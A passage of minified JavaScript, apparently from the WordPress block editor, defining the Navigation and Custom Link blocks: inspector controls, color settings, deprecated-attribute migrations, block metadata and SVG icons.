click")}),(0,$e.createElement)(We.ToggleControl,{checked:k,onChange:e=>{a({showSubmenuIcon:e})},disabled:o.openSubmenusOnClick,label:(0,je.__)("Show arrow")}))),b&&(0,$e.createElement)(Ze.PanelColorSettings,{__experimentalHasMultipleOrigins:!0,__experimentalIsRenderedInSidebar:!0,title:(0,je.__)("Color"),initialOpen:!1,colorSettings:[{value:u.color,onChange:m,label:(0,je.__)("Text")},{value:s.color,onChange:c,label:(0,je.__)("Background")},{value:g.color,onChange:h,label:(0,je.__)("Submenu & overlay text")},{value:d.color,onChange:p,label:(0,je.__)("Submenu & overlay background")}]},Me&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.ContrastChecker,{backgroundColor:Le,textColor:Ae}),(0,$e.createElement)(Ze.ContrastChecker,{backgroundColor:He,textColor:Fe}))));if(Z&&!Te)return(0,$e.createElement)(Se,ze,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Menu")},(0,$e.createElement)(Id,{currentMenuId:B,clientId:r,onSelectNavigationMenu:e=>{Oe(e)},onSelectClassicMenu:async e=>{const t=await xe(e.id,e.name);t&&Oe(t.id,{focusNavigationBlock:!0})},onCreateNew:j,createNavigationMenuIsSuccess:q
/* translators: %s: The name of a menu. */,actionLabel:(0,je.__)("Switch to '%s'")}),(0,$e.createElement)(We.Button,{variant:"link",disabled:!qe||!se,href:(0,rt.addQueryArgs)("edit.php",{post_type:"wp_navigation"})},(0,je.__)("Manage menus")))),Je,(0,$e.createElement)(Rd,{id:r,onToggle:re,isOpen:ae,hasIcon:C,icon:S,isResponsive:"never"!==f,isHiddenByDefault:"always"===f,overlayBackgroundColor:d,overlayTextColor:g},(0,$e.createElement)(ep,{blocks:Q,clientId:r,navigationMenus:me,hasSelection:l||K,hasSavedUnsavedInnerBlocks:ne,onSave:e=>{oe(!0),T(e.id),z((0,je.__)("New Navigation Menu created."))}})));if(B&&ue)return(0,$e.createElement)(Se,ze,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Menu")},(0,$e.createElement)(Id,{currentMenuId:null,clientId:r,onSelectNavigationMenu:e=>{Oe(e)},onSelectClassicMenu:async e=>{const t=await xe(e.id,e.name);t&&Oe(t.id,{focusNavigationBlock:!0})},onCreateNew:j,createNavigationMenuIsSuccess:q
/* translators: %s: The name of a menu. */,actionLabel:(0,je.__)("Switch to '%s'")}),(0,$e.createElement)(We.Button,{variant:"link",disabled:!qe||!se,href:(0,rt.addQueryArgs)("edit.php",{post_type:"wp_navigation"})},(0,je.__)("Manage menus")))),(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Navigation menu has been deleted or is unavailable. "),(0,$e.createElement)(We.Button,{onClick:j,variant:"link"},(0,je.__)("Create a new menu?"))));if(Te&&P)return(0,$e.createElement)("div",ze,(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Block cannot be rendered inside itself.")));const Xe=_||zd;return Be&&_?(0,$e.createElement)(Se,ze,(0,$e.createElement)(Xe,{isSelected:l,currentMenuId:B,clientId:r,canUserCreateNavigationMenu:be,isResolvingCanUserCreateNavigationMenu:_e,onSelectNavigationMenu:e=>{Oe(e)},onSelectClassicMenu:async e=>{const t=await xe(e.id,e.name);t&&Oe(t.id,{focusNavigationBlock:!0})},onCreateEmpty:j})):(0,$e.createElement)(lt.EntityProvider,{kind:"postType",type:"wp_navigation",id:B},(0,$e.createElement)(Ze.__experimentalRecursionProvider,{uniqueId:N},(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Menu")},(0,$e.createElement)(Id,{currentMenuId:B,clientId:r,onSelectNavigationMenu:e=>{Oe(e)},onSelectClassicMenu:async e=>{const t=await xe(e.id,e.name);t&&Oe(t.id,{focusNavigationBlock:!0})},onCreateNew:j,createNavigationMenuIsSuccess:q,createNavigationMenuIsError:W
/* translators: %s: The name of a menu. */,actionLabel:(0,je.__)("Switch to '%s'")}),(0,$e.createElement)(We.Button,{variant:"link",disabled:!qe||!se,href:(0,rt.addQueryArgs)("edit.php",{post_type:"wp_navigation"})},(0,je.__)("Manage menus")))),Je,Te&&(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"advanced"},ge&&pe&&(0,$e.createElement)(Fd,null),ve&&he&&(0,$e.createElement)(tp,{onDelete:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";X(r,[]),z((0,je.sprintf)(// translators: %s: the name of a menu (e.g. Header navigation).
(0,je.__)("Navigation menu %s successfully deleted."),e))}})),Ne&&(0,$e.createElement)(Se,ze,(0,$e.createElement)(We.Spinner,{className:"wp-block-navigation__loading-indicator"})),!Ne&&(0,$e.createElement)(Se,ze,(0,$e.createElement)(Rd,{id:r,onToggle:re,label:(0,je.__)("Menu"),hasIcon:C,icon:S,isOpen:ae,isResponsive:Qe,isHiddenByDefault:"always"===f,overlayBackgroundColor:d,overlayTextColor:g},Te&&(0,$e.createElement)(Dd,{clientId:r,hasCustomPlaceholder:!!_,orientation:w})))))})),gp={fontStyle:"var:preset|font-style|",fontWeight:"var:preset|font-weight|",textDecoration:"var:preset|text-decoration|",textTransform:"var:preset|text-transform|"},hp=e=>{let{navigationMenuId:t,...n}=e;return{...n,ref:t}},vp=e=>{if(e.layout)return e;const{itemsJustification:t,orientation:n,...o}=e;return(t||n)&&Object.assign(o,{layout:{type:"flex",...t&&{justifyContent:t},...n&&{orientation:n}}}),o},bp={attributes:{navigationMenuId:{type:"number"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},openSubmenusOnClick:{type:"boolean",default:!1},overlayMenu:{type:"string",default:"mobile"},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{blockGap:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}},__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}}},save:()=>(0,$e.createElement)(Ze.InnerBlocks.Content,null),isEligible:e=>{let{navigationMenuId:t}=e;return!!t},migrate:hp},_p={attributes:{navigationMenuId:{type:"number"},orientation:{type:"string",default:"horizontal"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},openSubmenusOnClick:{type:"boolean",default:!1},overlayMenu:{type:"string",default:"never"},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{blockGap:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}}},save:()=>(0,$e.createElement)(Ze.InnerBlocks.Content,null),isEligible:e=>{let{itemsJustification:t,orientation:n}=e;return!!t||!!n},migrate:(0,Wt.compose)(hp,vp)},yp={attributes:{orientation:{type:"string",default:"horizontal"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},openSubmenusOnClick:{type:"boolean",default:!1},overlayMenu:{type:"string",default:"never"},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0},spacing:{blockGap:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}}},save:()=>(0,$e.createElement)(Ze.InnerBlocks.Content,null),migrate:(0,Wt.compose)(hp,vp,Kt),isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},fp=[bp,_p,yp,{attributes:{orientation:{type:"string",default:"horizontal"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},openSubmenusOnClick:{type:"boolean",default:!1},isResponsive:{type:"boolean",default:"false"},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0}},isEligible:e=>e.isResponsive,migrate:(0,Wt.compose)(hp,vp,Kt,(function(e){return delete e.isResponsive,{...e,overlayMenu:"mobile"}})),save:()=>(0,$e.createElement)(Ze.InnerBlocks.Content,null)},{attributes:{orientation:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0}},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,fontSize:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,color:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0},save:()=>(0,$e.createElement)(Ze.InnerBlocks.Content,null),isEligible(e){if(!e.style||!e.style.typography)return!1;for(const t in gp){const n=e.style.typography[t];if(n&&n.startsWith(gp[t]))return!0}return!1},migrate:(0,Wt.compose)(hp,vp,Kt,(function(e){return{...e,style:{...e.style,typography:(0,St.mapValues)(e.style.typography,((e,t)=>{const n=gp[t];if(n&&e.startsWith(n)){const o=e.slice(n.length);return"textDecoration"===t&&"strikethrough"===o?"line-through":o}return e}))}}}))},{attributes:{className:{type:"string"},textColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},fontSize:{type:"string"},customFontSize:{type:"number"},itemsJustification:{type:"string"},showSubmenuIcon:{type:"boolean"}},isEligible:e=>e.rgbTextColor||e.rgbBackgroundColor,supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0},migrate:(0,Wt.compose)(hp,(e=>{const{rgbTextColor:t,rgbBackgroundColor:n,...o}=e;return{...o,customTextColor:e.textColor?void 0:e.rgbTextColor,customBackgroundColor:e.backgroundColor?void 0:e.rgbBackgroundColor}})),save:()=>(0,$e.createElement)(Ze.InnerBlocks.Content,null)}],kp=fp,xp={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/navigation",title:"Navigation",category:"theme",description:"A collection of blocks that allow visitors to get around your site.",keywords:["menu","navigation","links"],textdomain:"default",attributes:{ref:{type:"number"},textColor:{type:"string"},customTextColor:{type:"string"},rgbTextColor:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},rgbBackgroundColor:{type:"string"},showSubmenuIcon:{type:"boolean",default:!0},openSubmenusOnClick:{type:"boolean",default:!1},overlayMenu:{type:"string",default:"mobile"},icon:{type:"string",default:"handle"},hasIcon:{type:"boolean",default:!0},__unstableLocation:{type:"string"},overlayBackgroundColor:{type:"string"},customOverlayBackgroundColor:{type:"string"},overlayTextColor:{type:"string"},customOverlayTextColor:{type:"string"},maxNestingLevel:{type:"number",default:5}},providesContext:{textColor:"textColor",customTextColor:"customTextColor",backgroundColor:"backgroundColor",customBackgroundColor:"customBackgroundColor",overlayTextColor:"overlayTextColor",customOverlayTextColor:"customOverlayTextColor",overlayBackgroundColor:"overlayBackgroundColor",customOverlayBackgroundColor:"customOverlayBackgroundColor",fontSize:"fontSize",customFontSize:"customFontSize",showSubmenuIcon:"showSubmenuIcon",openSubmenusOnClick:"openSubmenusOnClick",style:"style",orientation:"orientation",maxNestingLevel:"maxNestingLevel"},supports:{align:["wide","full"],anchor:!0,html:!1,inserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalTextTransform:!0,__experimentalFontFamily:!0,__experimentalLetterSpacing:!0,__experimentalTextDecoration:!0,__experimentalSkipSerialization:["textDecoration"],__experimentalDefaultControls:{fontSize:!0}},spacing:{blockGap:!0,units:["px","em","rem","vh","vw"],__experimentalDefaultControls:{blockGap:!0}},__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,allowVerticalAlignment:!1,default:{type:"flex"}},__experimentalStyle:{elements:{link:{color:{text:"inherit"}}}}},viewScript:["file:./view.min.js","file:./view-modal.min.js"],editorStyle:"wp-block-navigation-editor",style:"wp-block-navigation"},{name:wp}=xp,Ep={icon:kd,example:{innerBlocks:[{name:"core/navigation-link",attributes:{
// translators: 'Home' as in a website's home page.
label:(0,je.__)("Home"),url:"https://make.wordpress.org/"}},{name:"core/navigation-link",attributes:{
// translators: 'About' as in a website's about page.
label:(0,je.__)("About"),url:"https://make.wordpress.org/"}},{name:"core/navigation-link",attributes:{
// translators: 'Contact' as in a website's contact page.
label:(0,je.__)("Contact"),url:"https://make.wordpress.org/"}}]},edit:pp,save:function(e){let{attributes:t}=e;if(!t.ref)return(0,$e.createElement)(Ze.InnerBlocks.Content,null)},deprecated:kp},Cp=()=>qe({name:wp,metadata:xp,settings:Ep}),Sp=(0,$e.createElement)(Ue.SVG,{xmlns:"https://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M12.5 14.5h-1V16h1c2.2 0 4-1.8 4-4s-1.8-4-4-4h-1v1.5h1c1.4 0 2.5 1.1 2.5 2.5s-1.1 2.5-2.5 2.5zm-4 1.5v-1.5h-1C6.1 14.5 5 13.4 5 12s1.1-2.5 2.5-2.5h1V8h-1c-2.2 0-4 1.8-4 4s1.8 4 4 4h1zm-1-3.2h5v-1.5h-5v1.5zM18 4H9c-1.1 0-2 .9-2 2v.5h1.5V6c0-.3.2-.5.5-.5h9c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5v-.5H7v.5c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2z"})),Bp=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M2 12c0 3.6 2.4 5.5 6 5.5h.5V19l3-2.5-3-2.5v2H8c-2.5 0-4.5-1.5-4.5-4s2-4.5 4.5-4.5h3.5V6H8c-3.6 0-6 2.4-6 6zm19.5-1h-8v1.5h8V11zm0 5h-8v1.5h8V16zm0-10h-8v1.5h8V6z"})),{name:Tp}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/navigation-link",title:"Custom Link",category:"design",parent:["core/navigation"],description:"Add a page, link, or another item to your navigation.",textdomain:"default",attributes:{label:{type:"string"},type:{type:"string"},description:{type:"string"},rel:{type:"string"},id:{type:"number"},opensInNewTab:{type:"boolean",default:!1},url:{type:"string"},title:{type:"string"},kind:{type:"string"},isTopLevelLink:{type:"boolean"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","maxNestingLevel","style"],supports:{reusable:!1,html:!1,__experimentalSlashInserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-navigation-link-editor",style:"wp-block-navigation-link"};function Np(e,t){switch(e){case"post":case"page":return{type:"post",subtype:e};case"category":return{type:"term",subtype:"category"};case"tag":return{type:"term",subtype:"post_tag"};case"post_format":return{type:"post-format"};default:return"taxonomy"===t?{type:"term",subtype:e}:"post-type"===t?{type:"post",subtype:e}:{}}}function Pp(e){const t=document.implementation.createHTMLDocument("");return t.body.innerHTML=e,t.body.textContent||""}function Ip(e){let{clientId:t,replace:n}=e;const{getBlock:o,blockTransforms:a}=(0,it.useSelect)((e=>{const{getBlock:n,getBlockRootClientId:o,getBlockTransformItems:a}=e(Ze.store);return{getBlock:n,blockTransforms:a(n(t),o(t))}}),[t]),r=["core/site-logo","core/social-links","core/search"],l=a.filter((e=>r.includes(e.name)));return null!=l&&l.length?(0,$e.createElement)("div",{className:"link-control-transform"},(0,$e.createElement)("h3",{className:"link-control-transform__subheading"},(0,je.__)("Transform")),(0,$e.createElement)("div",{className:"link-control-transform__items"},l.map(((e,a)=>(0,$e.createElement)(We.Button,{key:`transform-${a}`,onClick:()=>n(t,(0,Ge.switchToBlockType)(o(t),e.name)),className:"link-control-transform__item"},(0,$e.createElement)(Ze.BlockIcon,{icon:e.icon}),e.title))))):null}const zp=(0,$e.createElement)(Ue.SVG,{xmlns:"https://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 20h16v-1.5H4V20zm0-4.8h16v-1.5H4v1.5zm0-6.4v1.5h16V8.8H4zM16 4H4v1.5h12V4z"})),Mp=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M7 5.5h10a.5.5 0 01.5.5v12a.5.5 0 01-.5.5H7a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM17 4H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V6a2 2 0 00-2-2zm-1 3.75H8v1.5h8v-1.5zM8 11h8v1.5H8V11zm6 3.25H8v1.5h6v-1.5z"})),Lp=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M20.1 11.2l-6.7-6.7c-.1-.1-.3-.2-.5-.2H5c-.4-.1-.8.3-.8.7v7.8c0 .2.1.4.2.5l6.7 6.7c.2.2.5.4.7.5s.6.2.9.2c.3 0 .6-.1.9-.2.3-.1.5-.3.8-.5l5.6-5.6c.4-.4.7-1 .7-1.6.1-.6-.2-1.2-.6-1.6zM19 13.4L13.4 19c-.1.1-.2.1-.3.2-.2.1-.4.1-.6 0-.1 0-.2-.1-.3-.2l-6.5-6.5V5.8h6.8l6.5 6.5c.2.2.2.4.2.6 0 .1 0 .3-.2.5zM9 8c-.6 0-1 .4-1 1s.4 1 1 1 1-.4 1-1-.4-1-1-1z"})),Rp=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4zm.8-4l.7.7 2-2V12h1V9.2l2 2 .7-.7-2-2H12v-1H9.2l2-2-.7-.7-2 2V4h-1v2.8l-2-2-.7.7 2 2H4v1h2.8l-2 2z"}));function Ap(e){switch(e){case"post":return zp;case"page":return Mp;case"tag":return Lp;case"category":return Vn;default:return Rp}}function Vp(e,t){if("core/navigation-link"!==t)return e;if(e.variations){const t=(e,t)=>e.type===t.type,n=e.variations.map((e=>({...e,...!e.icon&&{icon:Ap(e.name)},...!e.isActive&&{isActive:t}})));return{...e,variations:n}}return e}const Hp={from:[{type:"block",blocks:["core/site-logo"],transform:()=>(0,Ge.createBlock)("core/navigation-link")},{type:"block",blocks:["core/spacer"],transform:()=>(0,Ge.createBlock)("core/navigation-link")},{type:"block",blocks:["core/home-link"],transform:()=>(0,Ge.createBlock)("core/navigation-link")},{type:"block",blocks:["core/social-links"],transform:()=>(0,Ge.createBlock)("core/navigation-link")},{type:"block",blocks:["core/search"],transform:()=>(0,Ge.createBlock)("core/navigation-link")}],to:[{type:"block",blocks:["core/navigation-submenu"],transform:(e,t)=>(0,Ge.createBlock)("core/navigation-submenu",e,t)},{type:"block",blocks:["core/spacer"],transform:()=>(0,Ge.createBlock)("core/spacer")},{type:"block",blocks:["core/site-logo"],transform:()=>(0,Ge.createBlock)("core/site-logo")},{type:"block",blocks:["core/home-link"],transform:()=>(0,Ge.createBlock)("core/home-link")},{type:"block",blocks:["core/social-links"],transform:()=>(0,Ge.createBlock)("core/social-links")},{type:"block",blocks:["core/search"],transform:()=>(0,Ge.createBlock)("core/search",{showLabel:!1,buttonUseIcon:!0,buttonPosition:"button-inside"})}]},Dp=Hp,Fp={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/navigation-link",title:"Custom Link",category:"design",parent:["core/navigation"],description:"Add a page, link, or another item to your navigation.",textdomain:"default",attributes:{label:{type:"string"},type:{type:"string"},description:{type:"string"},rel:{type:"string"},id:{type:"number"},opensInNewTab:{type:"boolean",default:!1},url:{type:"string"},title:{type:"string"},kind:{type:"string"},isTopLevelLink:{type:"boolean"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","maxNestingLevel","style"],supports:{reusable:!1,html:!1,__experimentalSlashInserter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-navigation-link-editor",style:"wp-block-navigation-link"},{name:Gp}=Fp,$p={icon:Sp,__experimentalLabel:e=>{let{label:t}=e;return t},merge(e,t){let{label:n=""}=t;return{...e,label:e.label+n}},edit:function(e){let{attributes:t,isSelected:n,setAttributes:o,insertBlocksAfter:a,mergeBlocks:r,onReplace:l,context:i,clientId:s}=e;const{id:c,label:u,type:m,opensInNewTab:d,url:p,description:g,rel:h,title:v,kind:b}=t,[_,y]=((e,t,n)=>{const o="post-type"===e||"post"===t||"page"===t,a=Number.isInteger(n),r=(0,it.useSelect)((e=>{var a;if(!o)return null;const{getEntityRecord:r}=e(lt.store);return null===(a=r("postType",t,n))||void 0===a?void 0:a.status}),[o,t,n]);return[o&&a&&r&&"trash"===r,"draft"===r]})(b,m,c),{maxNestingLevel:f}=i,k={url:p,opensInNewTab:d,title:u&&Pp(u)},{saveEntityRecord:x}=(0,it.useDispatch)(lt.store),{replaceBlock:w,__unstableMarkNextChangeAsNotPersistent:E}=(0,it.useDispatch)(Ze.store),[C,S]=(0,$e.useState)(!1),[B,T]=(0,$e.useState)(null),N=(0,$e.useRef)(null),P=(e=>{const[t,n]=(0,$e.useState)(!1);return(0,$e.useEffect)((()=>{const{ownerDocument:t}=e.current;function o(e){r(e)}function a(){n(!1)}function r(t){e.current.contains(t.target)?n(!0):n(!1)}return t.addEventListener("dragstart",o),t.addEventListener("dragend",a),t.addEventListener("dragenter",r),()=>{t.removeEventListener("dragstart",o),t.removeEventListener("dragend",a),t.removeEventListener("dragenter",r)}}),[]),t})(N),I=(0,je.__)("Add link…"),z=(0,$e.useRef)(),M=(0,lt.useResourcePermissions)("pages"),L=(0,lt.useResourcePermissions)("posts"),{innerBlocks:R,isAtMaxNesting:A,isTopLevelLink:V,isParentOfSelectedBlock:H,hasChildren:D}=(0,it.useSelect)((e=>{const{getBlocks:t,getBlockCount:n,getBlockName:o,getBlockRootClientId:a,hasSelectedInnerBlock:r,getBlockParentsByBlockName:l}=e(Ze.store);return{innerBlocks:t(s),isAtMaxNesting:l(s,[Tp,"core/navigation-submenu"]).length>=f,isTopLevelLink:"core/navigation"===o(a(s)),isParentOfSelectedBlock:r(s,!0),hasChildren:!!n(s)}}),[s]);function F(){const e=(0,Ge.createBlock)("core/navigation-submenu",t,R);w(s,e)}(0,$e.useEffect)((()=>{E(),o({isTopLevelLink:V})}),[V]),(0,$e.useEffect)((()=>{p||S(!0),D&&F()}),[]),(0,$e.useEffect)((()=>{n||S(!1)}),[n]),(0,$e.useEffect)((()=>{C&&p&&((0,rt.isURL)((0,rt.prependHTTP)(u))&&/^.+\.[a-z]+/.test(u)?function(){z.current.focus();const{ownerDocument:e}=z.current,{defaultView:t}=e,n=t.getSelection(),o=e.createRange();o.selectNodeContents(z.current),n.removeAllRanges(),n.addRange(o)}():(0,id.placeCaretAtHorizontalEdge)(z.current,!0))}),[p]);let G=!1;m&&"page"!==m?"post"===m&&(G=L.canCreate):G=M.canCreate;const{textColor:$,customTextColor:U,backgroundColor:O,customBackgroundColor:q}=function(e,t){var n,o;const{textColor:a,customTextColor:r,backgroundColor:l,customBackgroundColor:i,overlayTextColor:s,customOverlayTextColor:c,overlayBackgroundColor:u,customOverlayBackgroundColor:m,style:d}=e,p={};return t&&c?p.customTextColor=c:t&&s?p.textColor=s:r?p.customTextColor=r:a?p.textColor=a:null!=d&&null!==(n=d.color)&&void 0!==n&&n.text&&(p.customTextColor=d.color.text),t&&m?p.customBackgroundColor=m:t&&u?p.backgroundColor=u:i?p.customBackgroundColor=i:l?p.backgroundColor=l:null!=d&&null!==(o=d.color)&&void 0!==o&&o.background&&(p.customTextColor=d.color.background),p}(i,!V),W=(0,Ze.useBlockProps)({ref:(0,Wt.useMergeRefs)([T,N]),className:at()("wp-block-navigation-item",{"is-editing":n||H,"is-dragging-within":P,"has-link":!!p,"has-child":D,"has-text-color":!!$||!!U,[(0,Ze.getColorClassName)("color",$)]:!!$,"has-background":!!O||q,[(0,Ze.getColorClassName)("background-color",O)]:!!O}),style:{color:!$&&U,backgroundColor:!O&&q},onKeyDown:function(e){(rn.isKeyboardEvent.primary(e,"k")||!p&&e.keyCode===rn.ENTER)&&S(!0)}});(!p||_||y)&&(W.onClick=()=>S(!0));const j=at()("wp-block-navigation-item__content",{"wp-block-navigation-link__placeholder":!p||_||y}),Z=function(e){let t="";switch(e){case"post":
/* translators: label for missing post in navigation link block */
t=(0,je.__)("Select post");break;case"page":
/* translators: label for missing page in navigation link block */
t=(0,je.__)("Select page");break;case"category":
/* translators: label for missing category in navigation link block */
t=(0,je.__)("Select category");break;case"tag":
/* translators: label for missing tag in navigation link block */
t=(0,je.__)("Select tag");break;default:
/* translators: label for missing values in navigation link block */
t=(0,je.__)("Add link")}return t}(m),Q=`(${_?(0,je.__)("Invalid"):(0,je.__)("Draft")})`,K=_||y?(0,je.__)("This item has been deleted, or is a draft"):(0,je.__)("This item is missing a link");return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,null,(0,$e.createElement)(We.ToolbarButton,{name:"link",icon:ln,title:(0,je.__)("Link"),shortcut:rn.displayShortcut.primary("k"),onClick:()=>S(!0)}),!A&&(0,$e.createElement)(We.ToolbarButton,{name:"submenu",icon:Bp,title:(0,je.__)("Add submenu"),onClick:F}))),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.TextareaControl,{value:g||"",onChange:e=>{o({description:e})},label:(0,je.__)("Description"),help:(0,je.__)("The description will be displayed in the menu if the current theme supports it.")}),(0,$e.createElement)(We.TextControl,{value:v||"",onChange:e=>{o({title:e})},label:(0,je.__)("Link title"),autoComplete:"off"}),(0,$e.createElement)(We.TextControl,{value:h||"",onChange:e=>{o({rel:e})},label:(0,je.__)("Link rel"),autoComplete:"off"}))),(0,$e.createElement)("div",W,(0,$e.createElement)("a",{className:j},p?(0,$e.createElement)($e.Fragment,null,!_&&!y&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.RichText,{ref:z,identifier:"label",className:"wp-block-navigation-item__label",value:u,onChange:e=>o({label:e}),onMerge:r,onReplace:l,__unstableOnSplitAtEnd:()=>a((0,Ge.createBlock)("core/navigation-link")),"aria-label":(0,je.__)("Navigation link text"),placeholder:I,withoutInteractiveFormatting:!0,allowedFormats:["core/bold","core/italic","core/image","core/strikethrough"],onClick:()=>{p||S(!0)}}),g&&(0,$e.createElement)("span",{className:"wp-block-navigation-item__description"},g)),(_||y)&&(0,$e.createElement)("div",{className:"wp-block-navigation-link__placeholder-text wp-block-navigation-link__label"},(0,$e.createElement)(We.KeyboardShortcuts,{shortcuts:{enter:()=>n&&S(!0)}}),(0,$e.createElement)(We.Tooltip,{position:"top center",text:K},(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("span",{"aria-label":(0,je.__)("Navigation link text")},`${(0,St.unescape)(u)} 